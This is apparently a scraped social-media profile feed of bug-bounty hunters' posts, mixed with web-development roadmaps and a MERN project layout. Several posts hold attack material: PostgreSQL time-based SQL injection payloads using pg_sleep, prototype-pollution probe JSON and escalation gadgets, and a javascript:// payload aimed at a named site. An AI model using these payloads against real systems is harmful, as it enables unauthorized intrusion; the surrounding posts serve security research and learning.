Redparsec

Intermediate in C++, Python, JavaScript. Full Stack Developer, JAVA, Advanced penetration testing.
Found UXSS

[Redparsec @R3dpars3c]

Found a UXSS in Google Translate that allowed JavaScript execution on any domain with reflected input.

$8,500 bounty from Google. 🐛💰

Writeup → https://t.co/h8Oo4e3W2v

#BugBounty #XSS #UXSS
@Hacker0x01 @LiveOverflow @Bugcrowd @zseano @intigriti @InsiderPhD @yeswehack

[NaZaniin @n0aziXss]

Postgresql -> (Part4)

\\r\\n';select pg_sleep(120) --
\\r\\n;select pg_sleep(120)
\\r\\n;select pg_sleep(120) --
0x0d0a\\' and 1337=(select 1337 from pg_sleep(120)) --
0x0d0a\\' or 1337=(select 1337 from pg_sleep(120)) --
0x0d0a;select pg_sleep(120)
0x0a;select pg_sleep(120)

[Redparsec @R3dpars3c]

@ssss78762873824 @Hacker0x01 @theXSSrat @gregxsunday @Bugcrowd @intigriti @securinti Please DM me.

[Redparsec @R3dpars3c]

If anyone is encountering this WAF trigger from Cloudflare as shown in image and not able to trigger XSS.
I have the bypass for this type XSS.
Let me know about collaboration.

https://t.co/kplyMM2AJi

[hashkitten @hash_kitten]

Seems that wp2shell PoCs are now floating around the internet, so we've published our blog post including our research methodology for finding the bug as well as a deep dive into the chain itself - https://t.co/iuU0yiYJBT

[The XSS Rat - Proud XSS N00b :-) @theXSSrat]

Prototype pollution is the bug most hunters confirm and then bail on — leaving the actual RCE for someone else to claim on the same target.

Run this every time you see a JSON endpoint:

1. Grep the JS for sinks: __proto__, constructor.prototype, lodash _.merge / _.set / _.defaultsDeep, jQuery.extend(true,...), any recursive deep-merge helper.

2. Find the entry — /api/preferences, /api/profile, /api/settings, GraphQL updateUser with arbitrary input shapes. Anywhere the backend "merges whatever you send."

3. Probe:
{"__proto__":{"xssr":"1"}}
or
{"constructor":{"prototype":{"xssr":"1"}}}
Then check ({}).xssr in DevTools or look for a reflected/changed response.

4. Escalate — this is where 90% of hunters quit. Pollution alone = info. You need a GADGET.
- Client: jQuery template, Marked options, Bootstrap data-*, sanitize-html allowedTags → pollute __proto__.src / .template / .onerror.
- Server: Express render options, Mongoose hydrate, EJS, child_process env, lodash template → chained to RCE.

5. Tooling: DOM Invader has a built-in prototype pollution scanner. Turn it on. Browse. It flags sinks for you.

6. Trap: "polluted: yes" with no gadget gets closed as informational. Always chain to XSS, auth bypass, or RCE before submitting.

Pollution + gadget = impact.

[Redparsec @R3dpars3c]

@ctbbpodcast I also had similar issue with hackerone.
Made a critical report with unique exploit, never been in public, reported to 3-4 programs. And suddenly the exploit stopped working on other programs.
After 2 years, someone wrote blogpost claiming their own.

[Redparsec @R3dpars3c]

@Hacker0x01 @jobertabma
March 7, 2026, 9:12pm UTC 1-click ATO Issue reported.

[Redparsec @R3dpars3c]

@Hacker0x01 @jobertabma

Seems like hackerone programs no longer appreciate the reporters

March 7, 2026, 9:12pm UTC 1-click ATO Issue reported.
March 9, 2026, 9:36am UTC VA passed report to the team
March 9, 2026, 12:27pm UTC found logs on my server

[Redparsec @R3dpars3c]

@Hacker0x01 @jobertabma
Seems like hackerone program are no longer appreciating reporters effort.

March 7, 2026, 9:12pm UTC 1-click ATO Issue reported.
March 9, 2026, 9:36am UTC VA passed report to the team
March 9, 2026, 12:27pm UTC found logs on my server

[Redparsec @R3dpars3c]

@YShahinzadeh Dm me. I know where to submit.

[Redparsec @R3dpars3c]

@galnagli @zseano @Bugcrowd @Hacker0x01 @intigriti @yeswehack @LiveOverflow The hostname and protocol should remain intact.

/auth/?=javascript://www.goodrx.com/anything

javascript://www.goodrx.com this is constant and not be touched.

will split the bounty 50:50.

[Redparsec @R3dpars3c]

Hi everyone.
Let me know if you can bypass this waf.
https://t.co/JNMMhqWldN

@galnagli @zseano @Bugcrowd @Hacker0x01 @intigriti @yeswehack @LiveOverflow

[Adarsh Gupta ✨ @Adarsh____gupta]

Backend development is simple, you just need to learn these

HTTP methods
Status codes
Request headers
Response headers
Authentication
Authorization
JWT tokens
Session management
Cookies
OAuth 2.0
API design
RESTful APIs
GraphQL
WebSockets
Server-side rendering
Database design
SQL queries
NoSQL databases
Database indexing
Query optimization
ACID properties
CAP theorem
Normalization
Denormalization
ORM (Object-Relational Mapping)
Connection pooling
Transactions
Migrations
Seeding data
Caching strategies
Redis
Memcached
CDN integration
Rate limiting
Throttling
API versioning
Middleware
Error handling
Logging
Monitoring
Application performance monitoring (APM)
Load balancing
Horizontal scaling
Vertical scaling
Microservices architecture
Monolithic architecture
Service-oriented architecture (SOA)
Message queues
Pub/Sub patterns
Event-driven architecture
CQRS pattern
Saga pattern
API Gateway
Service mesh
Docker containers
Kubernetes orchestration
CI/CD pipelines
Environment variables
Configuration management
Secrets management
CORS (Cross-Origin Resource Sharing)
CSRF protection
XSS prevention
SQL injection prevention
Input validation
Output sanitization
Password hashing
Bcrypt/Argon2
Salt and pepper
Two-factor authentication (2FA)
Single sign-on (SSO)
RBAC (Role-Based Access Control)
ABAC (Attribute-Based Access Control)
File uploads
Streaming data
Pagination
Filtering and sorting
Full-text search
Elasticsearch
Background jobs
Cron jobs
Task scheduling
Worker processes
Async/await patterns
Promises
Callbacks
Thread pools
Process management
Memory management
Garbage collection
Performance profiling
Benchmarking
Testing (unit, integration, E2E)
Mocking and stubbing
API docs (Swagger/OpenAPI)
Postman/Insomnia
Version control (Git)
Code review practices
Debugging techniques
Production deployment strategies

[André Baptista @0xacb]

The AI-powered hacking space is moving fast.

CAI was already pretty solid, and Strix just dropped last week.

👉 CAI: https://t.co/yIpENddmyD
👉 Strix: https://t.co/vhLN08uHm3

Anyone tried these yet?

[7h3h4ckv157 @7h3h4ckv157]

Directory listing through "𝐑𝐚𝐧𝐠𝐞" header (3rd line)

Credit: Andrei Agape
More: https://t.co/L99zbZEb3p

[Shefali @Shefali__J]

10 GitHub Repos to Learn Node.js🔥

Open this🧵
Bookmark for later🔖

[Dhanian 🗯️ @e_opore]

How to Set a MERN Stack Project Structure.👇

mern-app/
│
├── backend/
│ ├── config/
│ │ ├── db.js
│ │ └── env.js
│ ├── controllers/
│ │ └── userController.js
│ ├── models/
│ │ └── userModel.js
│ ├── routes/
│ │ └── userRoutes.js
│ ├── middleware/
�� │ ├── authMiddleware.js
│ │ └── errorMiddleware.js
│ ├── utils/
│ │ └── generateToken.js
│ ├── server.js
│ └── package.json
│
├── frontend/
│ ├── public/
│ │ └── index.html
│ ├── src/
│ │ ├── components/
│ │ │ └── Navbar.jsx
│ │ ├── pages/
│ │ │ └── Home.jsx
│ │ ├── context/
│ │ │ └── AuthContext.jsx
│ │ ├── services/
│ │ │ └── userService.js
│ │ ├── utils/
│ │ │ └── formatDate.js
│ │ ├── App.jsx
│ │ └── main.jsx
│ ├── package.json
│
├── .env
├── .gitignore
└── https://t.co/shpCukooKd

1. Backend Structure

→ `backend/` → All server-side code (APIs, database connection, authentication, and business logic).

→ `config/` → Stores database and environment configuration files.

→ `controllers/` → Functions that handle requests and responses.

→ `models/` → Mongoose schemas defining MongoDB document structure.

→ `routes/` → API endpoints organized by feature.

→ `middleware/` → Functions that run before controllers (auth checks, error handling).

→ `utils/` → Helper functions used across backend.

→ `server.js` → Entry point for starting the backend server.

2. Frontend Structure

→ `frontend/` → All React client-side code.

→ `public/` → Static files such as `index.html` and images.

→ `src/components/` → Reusable UI components (e.g., Navbar, Footer).

→ `src/pages/` → Page components for routing (e.g., Home, Dashboard).

→ `src/context/` → State management (Context API or Redux).

→ `src/services/` → API functions to fetch and send data to backend.

→ `src/utils/` → Helper functions for frontend use.

→ `App.jsx` → Main component controlling routes and layout.

→ `main.jsx` → React app entry point.

3. Root-Level Files

→ `.env` → Environment variables (database URL, JWT secret, API keys).

→ `.gitignore` → Files and folders to exclude from Git tracking.

→ `https://t.co/shpCukooKd` → Project documentation.

Grab it now start building professional MERN apps today; https://t.co/KnBAOGxt4A

[Web Security Academy @WebSecAcademy]

How to find viable targets for client-side desync attacks:

1️⃣ Open Burp Suite and intercept requests.

2️⃣ Choose an endpoint that wouldn't usually expect a POST request (e.g GET) and send it to repeater.

3️⃣ Go to Inspector > Request Attributes > Protocol field > Upgrade to HTTP/2.

4️⃣ Send the Modified Request and look for this error message:
"Server ALPN does not advertise HTTP/2 support"...

5️⃣ Enable ALPN Override in request settings and send again.

If you see "Stream failed to close correctly" then you've confirmed that the server does not support HTTP/2 and is a valid target for desync testing!

Want to learn more about desync attacks? On August 6, at Black Hat USA, James Kettle from PortSwigger Research will reveal new classes of desync attack that enabled him to compromise multiple CDNs and kick off the desync endgame! 😲

Stay up to date here: https://t.co/kr6SR4JOw3

[Dhanian 🗯️ @e_opore]

Fullstack Developer Roadmap: Skills and Projects to Land Your First Job

➔ 1. Master the Foundations
- HTML: Semantic tags, accessibility, forms, SEO structure
- CSS: Flexbox, Grid, responsive design, animations
- JavaScript: ES6+, DOM manipulation, fetch API, events

➔ 2. Learn Git and GitHub
- Clone, commit, push, pull requests, branching
- Collaborate on open-source or small group projects

➔ 3. Core Frontend Framework
- Pick one: React (recommended), Vue, or Angular
- Learn component structure, props, state, lifecycle, hooks (React)
- Build UI projects: weather app, todo app, personal portfolio

➔ 4. Package Managers and Tooling
- npm, yarn basics
- Webpack, Vite or Next.js for React projects

➔ 5. Core Backend Language and Framework
- Pick one: Node.js (with Express), Python (Flask or Django), or Go
- Learn REST API creation, routing, middleware
- Understand authentication and error handling

➔ 6. Databases
- SQL (PostgreSQL or MySQL) or NoSQL (MongoDB)
- CRUD operations, data validation, relationships
- Connect backend APIs to your database

➔ 7. Fullstack Integration
- Connect frontend fetch or axios to your backend APIs
- Handle form submissions, authentication, and protected routes

➔ 8. Authentication and Authorization
- Learn JWT, sessions, OAuth basics
- Create login and signup flows

➔ 9. Testing Basics
- Unit and integration testing with Jest, Mocha, Supertest or Pytest
- Learn TDD workflow for confident builds

➔ 10. Deployment and CI/CD
- Host frontend: Vercel, Netlify
- Host backend: Render, Railway, https://t.co/lTD3eOzjWW or your preferred VPS
- Learn environment variables and build pipelines

➔ 11. Soft Skills and Problem-Solving
- Debugging with browser DevTools and console
- Clear Git commit messages
- Document your code and APIs

➔ 12. Build Portfolio Projects
- Responsive personal portfolio site
- Fullstack todo app with CRUD and auth
- Blog platform with markdown support
- E-commerce store with Stripe or PayPal integration
- Real-time chat app with WebSockets or Firebase

➔ 13. Consistent Practice
- Push projects to GitHub regularly
- Write blog posts on what you learn
- Contribute to open-source projects

➔ 14. Prepare for Interviews
- Data structures: arrays, objects, queues, stacks, linked lists
- Algorithms: sorting, searching, recursion
- Practice coding challenges on LeetCode or Codewars

➔ 15. Network and Apply
- Join developer communities: Discord, X, GitHub
- Share your projects on LinkedIn and X
- Apply to internships and junior positions while building

➔ To master this roadmap with structured, step-by-step projects and guidance, get this ebook: https://t.co/TuMR5QXGIr